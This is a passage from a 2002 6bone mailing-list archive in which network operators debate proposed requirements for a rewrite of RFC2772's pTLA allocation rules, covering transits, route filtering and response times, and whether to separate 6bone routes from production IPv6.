From: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
To: Pekka Savola <pekkas@netcore.fi>
Cc: Bob Fink <fink@es.net>, 6BONE List <6bone@mailman.isi.edu>,
   David Kessens
	 <david@iprg.nokia.com>,
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	 <gert@space.net>,
   Jun-ichiro itojun Hagino <itojun@iijlab.net>
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On Tue, 2002-11-12 at 23:22, Pekka Savola wrote:
> On 12 Nov 2002, Nicolas DEFFAYET wrote:
> > - The pTLA Applicant must have 2 transits.
> > 
> > => a pTLA is for be independent of a upstream
> 
> Do you mean:

"The pTLA Applicant must have at least 2 transits"

Best Regards,

Nicolas DEFFAYET, NDSoftware
NOC Website: http://noc.ndsoftwarenet.com/
FNIX6: http://www.fnix6.net/


From rrockell@sprint.net Tue Nov 12 15:42:17 2002
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agreed on all counts. 24 hours is one that I think some people might have
problems with, but a good idea.

Thanks
Rob Rockell
SprintLink
(+1) 703-689-6322
-----------------------------------------------------------------------

On 12 Nov 2002, Nicolas DEFFAYET wrote:

->On Tue, 2002-11-12 at 17:06, Bob Fink wrote:
->6bone Folk,
->
->> Thus we would like to call for ideas/suggestions/issues for the rewrite.
->> Please send your comments to the list, or to one of the panel folk if you
->> want to comment privately.
->
->I think that it can be a good idea to add this to RFC2772:
->
->- The pTLA Applicant must have a valid public ASN (no private or no
->allocated ASN).
->
->=> a pTLA have been allocated with a no allocated ASN
->http://www.ripe.net/ripe/meetings/archive/ripe-43/presentations/ripe43-ipv6-table/page17.html
->
->
->- The pTLA Applicant must have 2 transits.
->
->=> a pTLA is for be independent of a upstream
->
->
->- The pTLA Applicant must use filter
->http://www.space.net/~gert/RIPE/ipv6-filters.html
->http://noc.ndsoftwarenet.com/docs/route-filtering.php
->
->=> See Gert Doring's presentation:
->http://www.ripe.net/ripe/meetings/archive/ripe-43/presentations/ripe43-ipv6-table/page14.html
->http://www.ripe.net/ripe/meetings/archive/ripe-43/presentations/ripe43-ipv6-table/page15.html
->
->
->- The pTLA Applicant must reply to technical problems within 24 hours.
->
->=> don't forgot AS1654...
->http://www.ripe.net/ripe/meetings/archive/ripe-43/presentations/ripe43-ipv6-table/page18.html
->
->
->Best Regards,
->
->Nicolas DEFFAYET, NDSoftware
->NOC Website: http://noc.ndsoftwarenet.com/
->FNIX6: http://www.fnix6.net/
->


From daniel@kewlio.net Tue Nov 12 16:02:41 2002
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To: "Robert J. Rockell" <rrockell@sprint.net>,
   "Nicolas DEFFAYET" <nicolas.deffayet@ndsoftware.net>
Cc: "Bob Fink" <fink@es.net>, "6BONE List" <6bone@mailman.isi.edu>,
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References: <Pine.GSO.4.33.0211121843490.29167-100000@iscserv1>
Subject: Re: [6bone] RFC2772 rewrite
Date: Tue, 12 Nov 2002 23:54:59 -0000
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Hi,

I don't think that 24hours is bad for a *response* - maybe not resolution though.


With Thanks,

Daniel Austin,
Managing Director,
kewlio.net Limited.
<daniel@kewlio.net>

----- Original Message -----
From: "Robert J. Rockell" <rrockell@sprint.net>
To: "Nicolas DEFFAYET" <nicolas.deffayet@ndsoftware.net>
Cc: "Bob Fink" <fink@es.net>; "6BONE List" <6bone@mailman.isi.edu>; "David Kessens" <david@iprg.nokia.com>; "Gert Doering"
<gert@space.net>; "Jun-ichiro itojun Hagino" <itojun@iijlab.net>
Sent: Tuesday, November 12, 2002 11:44 PM
Subject: Re: [6bone] RFC2772 rewrite


> agreed on all counts. 24 hours is one that I think some people might have
> problems with, but a good idea.
>
> Thanks
> Rob Rockell
> SprintLink
> (+1) 703-689-6322
> -----------------------------------------------------------------------
>
> On 12 Nov 2002, Nicolas DEFFAYET wrote:
>
> ->On Tue, 2002-11-12 at 17:06, Bob Fink wrote:
> ->6bone Folk,
> ->
> ->> Thus we would like to call for ideas/suggestions/issues for the rewrite.
> ->> Please send your comments to the list, or to one of the panel folk if you
> ->> want to comment privately.
> ->
> ->I think that it can be a good idea to add this to RFC2772:
> ->
> ->- The pTLA Applicant must have a valid public ASN (no private or no
> ->allocated ASN).
> ->
> ->=> a pTLA have been allocated with a no allocated ASN
> ->http://www.ripe.net/ripe/meetings/archive/ripe-43/presentations/ripe43-ipv6-table/page17.html
> ->
> ->
> ->- The pTLA Applicant must have 2 transits.
> ->
> ->=> a pTLA is for be independent of a upstream
> ->
> ->
> ->- The pTLA Applicant must use filter
> ->http://www.space.net/~gert/RIPE/ipv6-filters.html
> ->http://noc.ndsoftwarenet.com/docs/route-filtering.php
> ->
> ->=> See Gert Doring's presentation:
> ->http://www.ripe.net/ripe/meetings/archive/ripe-43/presentations/ripe43-ipv6-table/page14.html
> ->http://www.ripe.net/ripe/meetings/archive/ripe-43/presentations/ripe43-ipv6-table/page15.html
> ->
> ->
> ->- The pTLA Applicant must reply to technical problems within 24 hours.
> ->
> ->=> don't forgot AS1654...
> ->http://www.ripe.net/ripe/meetings/archive/ripe-43/presentations/ripe43-ipv6-table/page18.html
> ->
> ->
> ->Best Regards,
> ->
> ->Nicolas DEFFAYET, NDSoftware
> ->NOC Website: http://noc.ndsoftwarenet.com/
> ->FNIX6: http://www.fnix6.net/
> ->
>
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
>


From rrockell@sprint.net Tue Nov 12 16:11:55 2002
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Subject: Re: [6bone] RFC2772 rewrite
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Fair enough.

If I don't hear anyone complain in 24 hours (good number to use) we'll stick
that in there :)

Thanks
Rob Rockell
SprintLink
(+1) 703-689-6322
-----------------------------------------------------------------------

On Tue, 12 Nov 2002, Daniel Austin wrote:

->Hi,
->
->I don't think that 24hours is bad for a *response* - maybe not resolution though.
->
->
->With Thanks,
->
->Daniel Austin,
->Managing Director,
->kewlio.net Limited.
-><daniel@kewlio.net>
->
->----- Original Message -----
->From: "Robert J. Rockell" <rrockell@sprint.net>
->To: "Nicolas DEFFAYET" <nicolas.deffayet@ndsoftware.net>
->Cc: "Bob Fink" <fink@es.net>; "6BONE List" <6bone@mailman.isi.edu>; "David Kessens" <david@iprg.nokia.com>; "Gert Doering"
-><gert@space.net>; "Jun-ichiro itojun Hagino" <itojun@iijlab.net>
->Sent: Tuesday, November 12, 2002 11:44 PM
->Subject: Re: [6bone] RFC2772 rewrite
->
->
->> agreed on all counts. 24 hours is one that I think some people might have
->> problems with, but a good idea.
->>
->> Thanks
->> Rob Rockell
->> SprintLink
->> (+1) 703-689-6322
->> -----------------------------------------------------------------------
->>
->> On 12 Nov 2002, Nicolas DEFFAYET wrote:
->>
->> ->On Tue, 2002-11-12 at 17:06, Bob Fink wrote:
->> ->6bone Folk,
->> ->
->> ->> Thus we would like to call for ideas/suggestions/issues for the rewrite.
->> ->> Please send your comments to the list, or to one of the panel folk if you
->> ->> want to comment privately.
->> ->
->> ->I think that it can be a good idea to add this to RFC2772:
->> ->
->> ->- The pTLA Applicant must have a valid public ASN (no private or no
->> ->allocated ASN).
->> ->
->> ->=> a pTLA have been allocated with a no allocated ASN
->> ->http://www.ripe.net/ripe/meetings/archive/ripe-43/presentations/ripe43-ipv6-table/page17.html
->> ->
->> ->
->> ->- The pTLA Applicant must have 2 transits.
->> ->
->> ->=> a pTLA is for be independent of a upstream
->> ->
->> ->
->> ->- The pTLA Applicant must use filter
->> ->http://www.space.net/~gert/RIPE/ipv6-filters.html
->> ->http://noc.ndsoftwarenet.com/docs/route-filtering.php
->> ->
->> ->=> See Gert Doring's presentation:
->> ->http://www.ripe.net/ripe/meetings/archive/ripe-43/presentations/ripe43-ipv6-table/page14.html
->> ->http://www.ripe.net/ripe/meetings/archive/ripe-43/presentations/ripe43-ipv6-table/page15.html
->> ->
->> ->
->> ->- The pTLA Applicant must reply to technical problems within 24 hours.
->> ->
->> ->=> don't forgot AS1654...
->> ->http://www.ripe.net/ripe/meetings/archive/ripe-43/presentations/ripe43-ipv6-table/page18.html
->> ->
->> ->
->> ->Best Regards,
->> ->
->> ->Nicolas DEFFAYET, NDSoftware
->> ->NOC Website: http://noc.ndsoftwarenet.com/
->> ->FNIX6: http://www.fnix6.net/
->> ->
->>
->> _______________________________________________
->> 6bone mailing list
->> 6bone@mailman.isi.edu
->> http://mailman.isi.edu/mailman/listinfo/6bone
->>
->


From jorgen@hovland.cx Tue Nov 12 16:34:38 2002
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References: <Pine.LNX.4.44.0211130015310.18073-100000@netcore.fi>
Subject: Re: [6bone] RFC2772 rewrite
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Im not sure if he meant IPv4 or IPv6 transits...

I dont think any maximum or minimum requirements should be set.  The maximum would restrict itself.
Enterprise companies and institues often dont have ipv4 transit at all (and colocated servers doesnt have "transit" either).
There are already pTLA-holders like this.

On http://www.6bone.net/6bone_hookup.html it says only ISP's can apply for a pTLA.  Maybe the definition of an ISP should be sorted
out ?


-

Joergen Hovland



----- Original Message -----
From: "Pekka Savola" <pekkas@netcore.fi>
To: "Nicolas DEFFAYET" <nicolas.deffayet@ndsoftware.net>
Cc: "Bob Fink" <fink@es.net>; "6BONE List" <6bone@mailman.isi.edu>; "David Kessens" <david@iprg.nokia.com>; "Robert Rockell"
<rrockell@sprint.net>; "Gert Doering" <gert@space.net>; "Jun-ichiro itojun Hagino" <itojun@iijlab.net>
Sent: Tuesday, November 12, 2002 11:22 PM
Subject: Re: [6bone] RFC2772 rewrite


> On 12 Nov 2002, Nicolas DEFFAYET wrote:
> > - The pTLA Applicant must have 2 transits.
> >
> > => a pTLA is for be independent of a upstream
>
> Do you mean:
>
> "The pTLA Applicant must have _only_ 2 transits"
>
> or
>
> "The pTLA Applicant must have at least 2 transits"
>
> or something like:
>
> "The pTLA Applicant must not acquire more than 2 transits"
> [my favourite :-)]
>
> Note -- I'm only half-joking here!
>
> Restricting the number of trensits a pTLA can have and provide transit for
> seems like a very sane approach to me!
>
> --
> Pekka Savola                 "Tell me of difficulties surmounted,
> Netcore Oy                   not those you stumble over and fall"
> Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords
>


From fink@es.net Tue Nov 12 18:26:44 2002
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To: Pekka Savola <pekkas@netcore.fi>
From: Bob Fink <fink@es.net>
Subject: Re: [6bone] RFC2772 rewrite
Cc: 6BONE List <6bone@mailman.isi.edu>, David Kessens <david@iprg.nokia.com>,
   Robert Rockell <rrockell@sprint.net>, Gert Doering <gert@space.net>,
   Jun-ichiro itojun Hagino <itojun@iijlab.net>
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At 07:58 PM 11/12/2002 +0200, Pekka Savola wrote:
>On Tue, 12 Nov 2002, Bob Fink wrote:
> > Thus we would like to call for ideas/suggestions/issues for the rewrite.
> > Please send your comments to the list, or to one of the panel folk if you
> > want to comment privately.
> >
> > Also, if it would be useful to have an ad hoc 6bone meeting in Atlanta,
> > please let us know. Although I will not be at this IETF, someone else from
> > the panel could lead the discussion.
>
>Yes, I believe such a meeting could be useful.  A more extensive
>discussion, possibly around problems/solutions in my draft (and other
>topics) would be possible -- there may be a little time allocated for this
>in the v6ops meeting, but I believe the time is probably a scarce resource
>there.

We are not likely to allocate any v6ops time as it doesn't handle 6bone 
stuff like ngtrans used to (but hasn't recently as we ran out of time).

I'll schedule a meeting in Atlanta.


Thanks,

Bob

> > Regarding 6bone operating issues, please look at Pekka Savola's 6bone-mess
> > draft to see if you think any/all of it should be included in the RFC2772
> > rewrite:
>
>Note that the revision number is now -01 (already! :-).
>
> > >A New Internet-Draft is available from the on-line Internet-Drafts
> > >directories.
> > >
> > >
> > >         Title           : Moving from 6bone to IPv6 Internet
> > >         Author(s)       : P. Savola
> > >         Filename        : draft-savola-v6ops-6bone-mess-00.txt
> > >         Pages           : 13
> > >         Date            : 2002-10-24
> > >
> > >Currently, IPv6 Internet is, globally considered, inseparable from
> > >the 6bone network.  The 6bone has been built as a tighly meshed
> > >tunneled topology.  As the number of participants has grown, it has
> > >become an untangible mess, hindering the real deployment of IPv6 due
> > >to low quality of connections.  This memo discusses the nature and
> > >the state of 6bone/IPv6 Internet, points out problems and outlines a
> > >few ways to start fixing them; also, some rough operational
> > >guidelines for different-sized organizations are presented.  The most
> > >important issues are: not offering transit to everyone and real
> > >transit operators being needed to take a more active role.
> > >
> > >A URL for this Internet-Draft is:
> > >http://www.ietf.org/internet-drafts/draft-savola-v6ops-6bone-mess-00.txt
> >
> >
> > Thanks,
> >
> > Bob
> >
> > _______________________________________________
> > 6bone mailing list
> > 6bone@mailman.isi.edu
> > http://mailman.isi.edu/mailman/listinfo/6bone
> >
>
>--
>Pekka Savola                 "Tell me of difficulties surmounted,
>Netcore Oy                   not those you stumble over and fall"
>Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords


From fink@es.net Tue Nov 12 18:55:07 2002
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From: Bob Fink <fink@es.net>
Cc: David Kessens <david@iprg.nokia.com>, Robert Rockell <rrockell@sprint.net>,
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6bone Folk,

By popular request ;-) there will be a 6bone meeting in Atlanta to discuss 
the RFC2772 rewrite. It will be held during the noon time break on Tuesday 
the 19th of December.

To not conflict with room usage before and after, the meeting will convene 
at 11:45am and adjourn at 12.45pm.

Rob Rockell will chair, and he will announce the meeting room to the list 
as soon as we can get the IETF Secretariat to assign the room, probably 
Monday the day before.


Thanks,

Bob


From mhw@alcove.wittsend.com Tue Nov 12 20:15:26 2002
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On Tue, Nov 12, 2002 at 06:54:22PM -0800, Bob Fink wrote:
> 6bone Folk,

> By popular request ;-) there will be a 6bone meeting in Atlanta to discus=
s=20
> the RFC2772 rewrite. It will be held during the noon time break on Tuesda=
y=20
> the 19th of December.

	EXCUSE ME!

	The 19th of December?  Surely you must mean the 19th of November.  :-)
Beside the fact that I don't think anyone is going to hang around THAT
LONG in Atlanta (I live here so I'll still be kicking around) December
19th is on a Thursday (I know 'cause it's me birthday)...  See you
on the 19th of November in lovely Atlanta...

	Just jerking yer chain, Bob...

> To not conflict with room usage before and after, the meeting will conven=
e=20
> at 11:45am and adjourn at 12.45pm.

> Rob Rockell will chair, and he will announce the meeting room to the list=
=20
> as soon as we can get the IETF Secretariat to assign the room, probably=
=20
> Monday the day before.


> Thanks,

> Bob

	Mike
--=20
 Michael H. Warfield    |  (770) 985-6132   |  mhw@WittsEnd.com
  /\/\|=3Dmhw=3D|\/\/       |  (678) 463-0932   |  http://www.wittsend.com/=
mhw/
  NIC whois:  MHW9      |  An optimist believes we live in the best of all
 PGP Key: 0xDF1DD471    |  possible worlds.  A pessimist is sure of it!

--qcHopEYAB45HaUaB
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From pekkas@netcore.fi Tue Nov 12 23:12:48 2002
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From: Pekka Savola <pekkas@netcore.fi>
To: Bob Fink <fink@es.net>
cc: 6BONE List <6bone@mailman.isi.edu>, David Kessens <david@iprg.nokia.com>,
   Robert Rockell <rrockell@sprint.net>, Gert Doering <gert@space.net>,
   Jun-ichiro itojun Hagino <itojun@iijlab.net>
Subject: Re: [6bone] RFC2772 rewrite
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On Tue, 12 Nov 2002, Bob Fink wrote:
> At 07:58 PM 11/12/2002 +0200, Pekka Savola wrote:
> >On Tue, 12 Nov 2002, Bob Fink wrote:
> > > Thus we would like to call for ideas/suggestions/issues for the rewrite.
> > > Please send your comments to the list, or to one of the panel folk if you
> > > want to comment privately.
> > >
> > > Also, if it would be useful to have an ad hoc 6bone meeting in Atlanta,
> > > please let us know. Although I will not be at this IETF, someone else from
> > > the panel could lead the discussion.
> >
> >Yes, I believe such a meeting could be useful.  A more extensive
> >discussion, possibly around problems/solutions in my draft (and other
> >topics) would be possible -- there may be a little time allocated for this
> >in the v6ops meeting, but I believe the time is probably a scarce resource
> >there.
> 
> We are not likely to allocate any v6ops time as it doesn't handle 6bone 
> stuff like ngtrans used to (but hasn't recently as we ran out of time).

Note what the 6bone-mess _is_ within the charter of v6ops -- many of the 
different issues.  It one of the most problematic "oparational deployment 
issues".  But any longer 6bone-specific discussion is better kept in to a 
separate meeting.

> I'll schedule a meeting in Atlanta.

Thanks :-)

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords


From fink@es.net Tue Nov 12 23:37:27 2002
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6bone Folk,

By popular request ;-) there will be a 6bone meeting in Atlanta to discuss 
the RFC2772 rewrite. It will be held during the noon time break on Tuesday 
the 19th of November (not December... thanks to Michaek Warfield).

To not conflict with room usage before and after, the meeting will convene 
at 11:45am and adjourn at 12.45pm.

Rob Rockell will chair, and he will announce the meeting room to the list 
as soon as we can get the IETF Secretariat to assign the room, probably 
Monday the day before.


Thanks,

Bob


From riel@conectiva.com.br Wed Nov 13 07:24:22 2002
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Subject: Re: [6bone] RFC2772 rewrite
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On Tue, 12 Nov 2002, Pim van Pelt wrote:

> * Should we seperate the 6BONE cloud from the production IPv6 cloud ? This
> is not really an RFC2772 issue, but does come to mind.

> ... I have heard sounds of operators filtering out 3ffe::/16 due to its
> impact on general availablility of IPv6 to their customers. This
> deserves discussion!

That doesn't make nearly as much sense as filtering out routes
that come via 3ffe::/16 sites, or simply giving these routes a
much lower preference so traffic always goes via production
sites, if there is a route via production sites.

I'm all for some kind of separation between the experimental
and the production side of the ipv6 universe, especially if it
means that I can keep ipv6 connectivity in the near future,
when my ISP doesn't have ipv6 yet, but my own applications do
rely on it.

regards,

Rik
-- 
Bravely reimplemented by the knights who say "NIH".
http://www.surriel.com/		http://distro.conectiva.com/
Current spamtrap:  <a href=mailto:"october@surriel.com">october@surriel.com</a>


From paitken@cisco.com Wed Nov 13 07:33:16 2002
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Rob,

 > If I don't hear anyone complain in 24 hours (good number to use)
 > we'll stick that in there :)

*complain*

While I appreciate the sentiment behind this suggestion, and wouldn't be
surprised to find that most folks on the list meet the requirement, I'd
expect that there are some folks who do actually have a life and
actually do non work-related things at the weekend <gasp!> and I
wouldn't want to discourage that in any way!

Besides, there are plenty of other times when we're out of touch for
more than 24 hours, during which time we expect our networks to run
happily without our constant supervision, right?

As Daniel said:

 > I don't think that 24hours is bad for a *response* - maybe not
 > resolution though.

An autoresponder or ticketing system would meet the response requirement
without actually dealing with the problem in any way :-(

So what are we trying to achieve? To force the pTLA holder to respond,
or to encourage them to resolve the technical issue? What would happen
if it took 48 hours to respond to an issue - would the time police
reject the holder's pTLA? Will someone volunteer to be "big brother" to
ensure timely responses?

Perhaps all we should ask is that "the applicant agrees to respond to
technical problems in a timely fashion", and leave discernment to each
case as appropriate?

Cheers.
-- 
Paul Aitken
IPv6 Development, Cisco Systems Ltd, Edinburgh, Scotland.


From rrockell@sprint.net Wed Nov 13 07:41:52 2002
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Subject: Re: [6bone] RFC2772 rewrite
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How about something to the effect of:

"pTLA holder should be responsive.  Preferably, a response within 24 hours is
appreciated.  If a pTLA holder is non-responsive to repetitive requests for
assistance, or does not resolve a problem in a timely fasion, the 6bone
mailing serves as a great place to bring this issue to a greater audience.
Should a pTLA continually remain unresponsive to issues surrounding the
behavior of that pTLA, said pTLA holder may be subject to repremand, with
the potential of revocation of that pTLA, based on concensus by <some
steering group>"

I'll not commment as to whether my weekend qualifies as 'having a life' or
not, I do agree that 24 hours is a best effort practice... I've had our
sysadmins BREAK my e-mail for more than 24 hours, if you can belive that...

So 24 hours is a guideline, but not a 'move it or lose it' rule?

Make sense?


Thanks
Rob Rockell
SprintLink
(+1) 703-689-6322
-----------------------------------------------------------------------

On Wed, 13 Nov 2002, Paul Aitken wrote:

->Rob,
->
-> > If I don't hear anyone complain in 24 hours (good number to use)
-> > we'll stick that in there :)
->
->*complain*
->
->While I appreciate the sentiment behind this suggestion, and wouldn't be
->surprised to find that most folks on the list meet the requirement, I'd
->expect that there are some folks who do actually have a life and
->actually do non work-related things at the weekend <gasp!> and I
->wouldn't want to discourage that in any way!
->
->Besides, there are plenty of other times when we're out of touch for
->more than 24 hours, during which time we expect our networks to run
->happily without our constant supervision, right?
->
->As Daniel said:
->
-> > I don't think that 24hours is bad for a *response* - maybe not
-> > resolution though.
->
->An autoresponder or ticketing system would meet the response requirement
->without actually dealing with the problem in any way :-(
->
->So what are we trying to achieve? To force the pTLA holder to respond,
->or to encourage them to resolve the technical issue? What would happen
->if it took 48 hours to respond to an issue - would the time police
->reject the holder's pTLA? Will someone volunteer to be "big brother" to
->ensure timely responses?
->
->Perhaps all we should ask is that "the applicant agrees to respond to
->technical problems in a timely fashion", and leave discernment to each
->case as appropriate?
->
->Cheers.
->--
->Paul Aitken
->IPv6 Development, Cisco Systems Ltd, Edinburgh, Scotland.
->


From paitken@cisco.com Wed Nov 13 08:26:29 2002
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Rob,

 > How about something to the effect of:
 >
 > [...]

Yup, that pretty spells out the letter of the law!

 > I'll not commment as to whether my weekend qualifies as 'having a
 > life' or not

:-(

 > I do agree that 24 hours is a best effort practice... I've had our
 > sysadmins BREAK my e-mail for more than 24 hours, if you can belive
 > that...

Gosh, a whole 24 hours with not a single email? What joy!

 > So 24 hours is a guideline, but not a 'move it or lose it' rule?

Sure! I much prefer encouragement over hard and fast rules :-)

Cheers.
-- 
Paul Aitken
IPv6 Development, Cisco Systems Ltd, Edinburgh, Scotland.


From gert@Space.Net Wed Nov 13 08:28:17 2002
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Subject: Re: [6bone] RFC2772 rewrite
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Hi,

On Wed, Nov 13, 2002 at 10:43:40AM -0500, Robert J. Rockell wrote:
> How about something to the effect of:
> 
> "pTLA holder should be responsive.  Preferably, a response within 24 hours is
> appreciated.  If a pTLA holder is non-responsive to repetitive requests for
> assistance, or does not resolve a problem in a timely fasion, the 6bone
> mailing serves as a great place to bring this issue to a greater audience.
> Should a pTLA continually remain unresponsive to issues surrounding the
> behavior of that pTLA, said pTLA holder may be subject to repremand, with
> the potential of revocation of that pTLA, based on concensus by <some
> steering group>"

I like that version.

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  48540  (48282)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299


From nicolas.deffayet@ndsoftware.net Wed Nov 13 08:30:44 2002
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Subject: Re: [6bone] RFC2772 rewrite
From: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
To: Rik van Riel <riel@conectiva.com.br>
Cc: Pim van Pelt <pim@ipng.nl>, Bob Fink <fink@es.net>,
   6BONE List
	 <6bone@mailman.isi.edu>, David Kessens <david@iprg.nokia.com>,
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	 <itojun@iijlab.net>
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On Wed, 2002-11-13 at 16:23, Rik van Riel wrote:
> On Tue, 12 Nov 2002, Pim van Pelt wrote:
> 
> > * Should we seperate the 6BONE cloud from the production IPv6 cloud ? This
> > is not really an RFC2772 issue, but does come to mind.
> 
> > ... I have heard sounds of operators filtering out 3ffe::/16 due to its
> > impact on general availablility of IPv6 to their customers. This
> > deserves discussion!

http://www.noc.easynet.net/network/public/peering-ipv6.html

---
Route Filtering

We apply the following filters to announcements: 

Block Minimal prefixlength Maximal prefixlength
2001::/16 29 40
2002::/16 16 16
3FFE::/16 not announced
---


What's the best ?

- have a tunnel peer with a ISP who use production address
- have a native peer with a ISP who use 6bone address

I prefer have a native peer with a ISP who use 6bone address !

The address type (production or 6bone) should NOT be a peer criteria.
Only allocation size (sTLA, pTLA, NLA) can be a peer criteria.

You can have a bad peering with a peer who use production address and
have a good peering with a peer who use 6bone address.

> That doesn't make nearly as much sense as filtering out routes
> that come via 3ffe::/16 sites, or simply giving these routes a
> much lower preference so traffic always goes via production
> sites, if there is a route via production sites.
> 
> I'm all for some kind of separation between the experimental
> and the production side of the ipv6 universe, especially if it
> means that I can keep ipv6 connectivity in the near future,
> when my ISP doesn't have ipv6 yet, but my own applications do
> rely on it.

What's a production site ?

- a ISP who have RIR address (2001::/16)
- a ISP who have native peering
- a ISP who do commercial activities

Many ISP who use production address (2001::/16) claim to do experimental
stuff...

Best Regards,

Nicolas DEFFAYET, NDSoftware
NOC Website: http://noc.ndsoftwarenet.com/
FNIX6: http://www.fnix6.net/


From nicolas.deffayet@ndsoftware.net Wed Nov 13 08:44:32 2002
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Subject: Re: [6bone] RFC2772 rewrite
From: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
To: Paul Aitken <paitken@cisco.com>
Cc: "Robert J. Rockell" <rrockell@sprint.net>,
   6BONE List
	 <6bone@mailman.isi.edu>
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On Wed, 2002-11-13 at 16:32, Paul Aitken wrote:
Paul,

>  > If I don't hear anyone complain in 24 hours (good number to use)
>  > we'll stick that in there :)
> 
> *complain*
> 
> While I appreciate the sentiment behind this suggestion, and wouldn't be
> surprised to find that most folks on the list meet the requirement, I'd
> expect that there are some folks who do actually have a life and
> actually do non work-related things at the weekend <gasp!> and I
> wouldn't want to discourage that in any way!

From RFC2772:

   2. The pTLA Applicant MUST have the ability and intent to provide
       "production-quality" 6Bone backbone service. Applicants must
       provide a statement and information in support of this claim.
       This MUST include the following:


      a. A support staff of two persons minimum, three preferable, with
          person attributes registered for each in the ipv6-site object
          for the pTLA applicant.


A pTLA is managed by many people.

If a network is correctly managed, there is always someone available for
solve technical problems.

> Besides, there are plenty of other times when we're out of touch for
> more than 24 hours, during which time we expect our networks to run
> happily without our constant supervision, right?
> 
> As Daniel said:
> 
>  > I don't think that 24hours is bad for a *response* - maybe not
>  > resolution though.
> 
> An autoresponder or ticketing system would meet the response requirement
> without actually dealing with the problem in any way :-(
> 
> So what are we trying to achieve? To force the pTLA holder to respond,
> or to encourage them to resolve the technical issue? What would happen
> if it took 48 hours to respond to an issue - would the time police
> reject the holder's pTLA? Will someone volunteer to be "big brother" to
> ensure timely responses?

Autoresponder or ticketing system don't solve the problem of reply and
the technical problem.

Best Regards,

Nicolas DEFFAYET, NDSoftware
NOC Website: http://noc.ndsoftwarenet.com/
FNIX6: http://www.fnix6.net/


From rrockell@sprint.net Wed Nov 13 08:56:16 2002
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To: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
cc: Paul Aitken <paitken@cisco.com>, 6BONE List <6bone@mailman.isi.edu>
Subject: Re: [6bone] RFC2772 rewrite
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I would agree that sometimes, guaranteeing resolution in a timely manner is
difficult. Learning curves aside, bugs in all forms of software, from
end-system, to DNS, to Router, can provide for delay times in excess of 24
hours.  this is permissible, so long as the pTLA can scope the problem to
minimize impact on the global 6bone, right?

Thanks
Rob Rockell
SprintLink
(+1) 703-689-6322
-----------------------------------------------------------------------

On 13 Nov 2002, Nicolas DEFFAYET wrote:

->On Wed, 2002-11-13 at 16:32, Paul Aitken wrote:
->Paul,
->
->>  > If I don't hear anyone complain in 24 hours (good number to use)
->>  > we'll stick that in there :)
->>
->> *complain*
->>
->> While I appreciate the sentiment behind this suggestion, and wouldn't be
->> surprised to find that most folks on the list meet the requirement, I'd
->> expect that there are some folks who do actually have a life and
->> actually do non work-related things at the weekend <gasp!> and I
->> wouldn't want to discourage that in any way!
->
->>From RFC2772:
->
->   2. The pTLA Applicant MUST have the ability and intent to provide
->       "production-quality" 6Bone backbone service. Applicants must
->       provide a statement and information in support of this claim.
->       This MUST include the following:
->
->
->      a. A support staff of two persons minimum, three preferable, with
->          person attributes registered for each in the ipv6-site object
->          for the pTLA applicant.
->
->
->A pTLA is managed by many people.
->
->If a network is correctly managed, there is always someone available for
->solve technical problems.
->
->> Besides, there are plenty of other times when we're out of touch for
->> more than 24 hours, during which time we expect our networks to run
->> happily without our constant supervision, right?
->>
->> As Daniel said:
->>
->>  > I don't think that 24hours is bad for a *response* - maybe not
->>  > resolution though.
->>
->> An autoresponder or ticketing system would meet the response requirement
->> without actually dealing with the problem in any way :-(
->>
->> So what are we trying to achieve? To force the pTLA holder to respond,
->> or to encourage them to resolve the technical issue? What would happen
->> if it took 48 hours to respond to an issue - would the time police
->> reject the holder's pTLA? Will someone volunteer to be "big brother" to
->> ensure timely responses?
->
->Autoresponder or ticketing system don't solve the problem of reply and
->the technical problem.
->
->Best Regards,
->
->Nicolas DEFFAYET, NDSoftware
->NOC Website: http://noc.ndsoftwarenet.com/
->FNIX6: http://www.fnix6.net/
->


From paitken@cisco.com Wed Nov 13 09:52:39 2002
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 <6bone@mailman.isi.edu>
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Nicolas,

> A pTLA is managed by many people.

Allegedly, yes.

> If a network is correctly managed, there is always someone available for
> solve technical problems.

Not so. Cisco doesn't require us to work 24 x 7, though we enjoy our 
work so much that we're often available out of hours - and I'm sure the 
same holds true for other pTLA's too. But I expect that many technical 
contacts from existing pTLA's will be out of touch while they travel to 
the IETF.

Presumably if you take your girlfriend away for the weekend then either 
you persuade her to let you take your laptop computer with you, or you 
get Mike Cheney to stand in for you, right?

> Autoresponder or ticketing system don't solve the problem of reply and
> the technical problem.

Yes, that was my point exactly - but they do meet the wording of your 
requirement of a response within 24 hours. Having 99.9...% of queries 
responded to in under a minute looks great as a statistic, but is 
totally useless unless there's human intervention to back it up.

So best to ask for the human intervention rather than the response, eh?

-- 
Paul Aitken
IPv6 Development, Cisco Systems Ltd, Edinburgh, Scotland.


From Robert.Kiessling@de.easynet.net Wed Nov 13 12:03:57 2002
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Paul Aitken <paitken@cisco.com> writes:

> Presumably if you take your girlfriend away for the weekend then
> either you persuade her to let you take your laptop computer with you,
> or you get Mike Cheney to stand in for you, right?

You have a very good point pointing to a serious conflict.

You and others operate pTLAs and provide many valuable services to the
community. However, it's operated as a spare-time activity without,
for example, guaranteed response times.

This leads to serious operational impact on the whole IPv6 world. I
just want to recall the AS1654 incidence, where a hobby pTLA brought
down significant parts of the global IPv6 network and we were lucky
enough that the IPv4 upstream was available to turn off the tunnel
endpoint.

As a result the IPv6 network quality is considerably worse than IPv4,
and understandably people are reluctant to trust important services to
IPv6.

I see only two solutions:

1. Isolate 6bone and similarly operated one-host-wildly-tunneled sTLAs
from a production-quality IPv6 core, and widely implement filtering.

2. Assure that pTLAs provide a minimum of service.

Robert


From rrockell@sprint.net Wed Nov 13 12:24:49 2002
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I think we are going to write in someting specifying a 'minimum level of
service'.   However, quantifying that is going to be hard.  I think the
INTENT of the launguage will point to a robust support infrastructure, but
as long as companies provide non-revenue-generating service, I don't think
